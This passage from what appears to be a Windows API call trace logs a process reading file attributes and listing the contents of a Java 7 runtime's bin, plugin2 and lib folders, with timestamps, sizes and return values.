	[0055.031] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\orbd.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\orbd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12603c28 | out: lpFileInformation=0x12603c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8)) returned 1
	[0055.031] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\pack200.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\pack200.exe"), fInfoLevelId=0x0, lpFileInformation=0x12603c78 | out: lpFileInformation=0x12603c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8)) returned 1
	[0055.032] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\plugin2"), fInfoLevelId=0x0, lpFileInformation=0x12603cc8 | out: lpFileInformation=0x12603cc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.032] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\plugin2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.033] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.033] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.033] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbcf50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1
	[0055.033] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x27fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjp2.dll", cAlternateFileName="")) returned 1
	[0055.033] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.033] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.033] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\plugin2\\msvcr100.dll"), fInfoLevelId=0x0, lpFileInformation=0x12603db8 | out: lpFileInformation=0x12603db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbcf50)) returned 1
	[0055.033] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\plugin2\\npjp2.dll"), fInfoLevelId=0x0, lpFileInformation=0x12603e08 | out: lpFileInformation=0x12603e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x27fa8)) returned 1
	[0055.033] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\policytool.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\policytool.exe"), fInfoLevelId=0x0, lpFileInformation=0x12603e58 | out: lpFileInformation=0x12603e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8)) returned 1
	[0055.034] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\prism-d3d.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\prism-d3d.dll"), fInfoLevelId=0x0, lpFileInformation=0x12603ea8 | out: lpFileInformation=0x12603ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb3a8)) returned 1
	[0055.034] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\rmid.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\rmid.exe"), fInfoLevelId=0x0, lpFileInformation=0x12603ef8 | out: lpFileInformation=0x12603ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8)) returned 1
	[0055.034] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\rmiregistry.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\rmiregistry.exe"), fInfoLevelId=0x0, lpFileInformation=0x12603f48 | out: lpFileInformation=0x12603f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8)) returned 1
	[0055.035] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\servertool.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\servertool.exe"), fInfoLevelId=0x0, lpFileInformation=0x12603f98 | out: lpFileInformation=0x12603f98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8)) returned 1
	[0055.036] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\splashscreen.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\splashscreen.dll"), fInfoLevelId=0x0, lpFileInformation=0x12430008 | out: lpFileInformation=0x12430008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2ffa8)) returned 1
	[0055.036] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\ssv.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\ssv.dll"), fInfoLevelId=0x0, lpFileInformation=0x12430058 | out: lpFileInformation=0x12430058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x70fa8)) returned 1
	[0055.036] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\ssvagent.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\ssvagent.exe"), fInfoLevelId=0x0, lpFileInformation=0x124300a8 | out: lpFileInformation=0x124300a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbfa8)) returned 1
	[0055.036] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\sunec.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\sunec.dll"), fInfoLevelId=0x0, lpFileInformation=0x124300f8 | out: lpFileInformation=0x124300f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e3a8)) returned 1
	[0055.040] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\sunmscapi.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\sunmscapi.dll"), fInfoLevelId=0x0, lpFileInformation=0x12430148 | out: lpFileInformation=0x12430148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x63a8)) returned 1
	[0055.040] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\t2k.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\t2k.dll"), fInfoLevelId=0x0, lpFileInformation=0x12430198 | out: lpFileInformation=0x12430198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2f1a8)) returned 1
	[0055.041] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\tnameserv.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\tnameserv.exe"), fInfoLevelId=0x0, lpFileInformation=0x124301e8 | out: lpFileInformation=0x124301e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3fa8)) returned 1
	[0055.041] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\unpack.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\unpack.dll"), fInfoLevelId=0x0, lpFileInformation=0x12430238 | out: lpFileInformation=0x12430238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe3a8)) returned 1
	[0055.042] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\unpack200.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\unpack200.exe"), fInfoLevelId=0x0, lpFileInformation=0x12430288 | out: lpFileInformation=0x12430288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x23ba8)) returned 1
	[0055.043] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\verify.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\verify.dll"), fInfoLevelId=0x0, lpFileInformation=0x124302d8 | out: lpFileInformation=0x124302d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x9ba8)) returned 1
	[0055.043] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\w2k_lsa_auth.dll"), fInfoLevelId=0x0, lpFileInformation=0x12430328 | out: lpFileInformation=0x12430328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x53a8)) returned 1
	[0055.043] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\wsdetect.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\wsdetect.dll"), fInfoLevelId=0x0, lpFileInformation=0x12430378 | out: lpFileInformation=0x12430378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x28fa8)) returned 1
	[0055.044] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\zip.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\zip.dll"), fInfoLevelId=0x0, lpFileInformation=0x124303c8 | out: lpFileInformation=0x124303c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105a8)) returned 1
	[0055.044] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib" (normalized: "c:\\program files (x86)\\java\\jre7\\lib"), fInfoLevelId=0x0, lpFileInformation=0x12430418 | out: lpFileInformation=0x12430418*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7572f9a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7572f9a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.044] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib" (normalized: "c:\\program files (x86)\\java\\jre7\\lib"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.045] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7572f9a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7572f9a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.046] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7572f9a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7572f9a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.properties", cAlternateFileName="ACCESS~1.PRO")) returned 1
	[0055.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2a2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="alt-rt.jar", cAlternateFileName="")) returned 1
	[0055.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1
	[0055.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1
	[0055.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x751d4820, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x751d4820, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x75220ae0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x364427, dwReserved0=0x0, dwReserved1=0x0, cFileName="charsets.jar", cAlternateFileName="")) returned 1
	[0055.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x12543, dwReserved0=0x0, dwReserved1=0x0, cFileName="classlist", cAlternateFileName="CLASSL~1")) returned 1
	[0055.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cmm", cAlternateFileName="")) returned 1
	[0055.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1
	[0055.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.data", cAlternateFileName="CURREN~1.DAT")) returned 1
	[0055.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy", cAlternateFileName="")) returned 1
	[0055.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75246c40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x75246c40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x75305320, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x449777, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1
	[0055.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ext", cAlternateFileName="")) returned 1
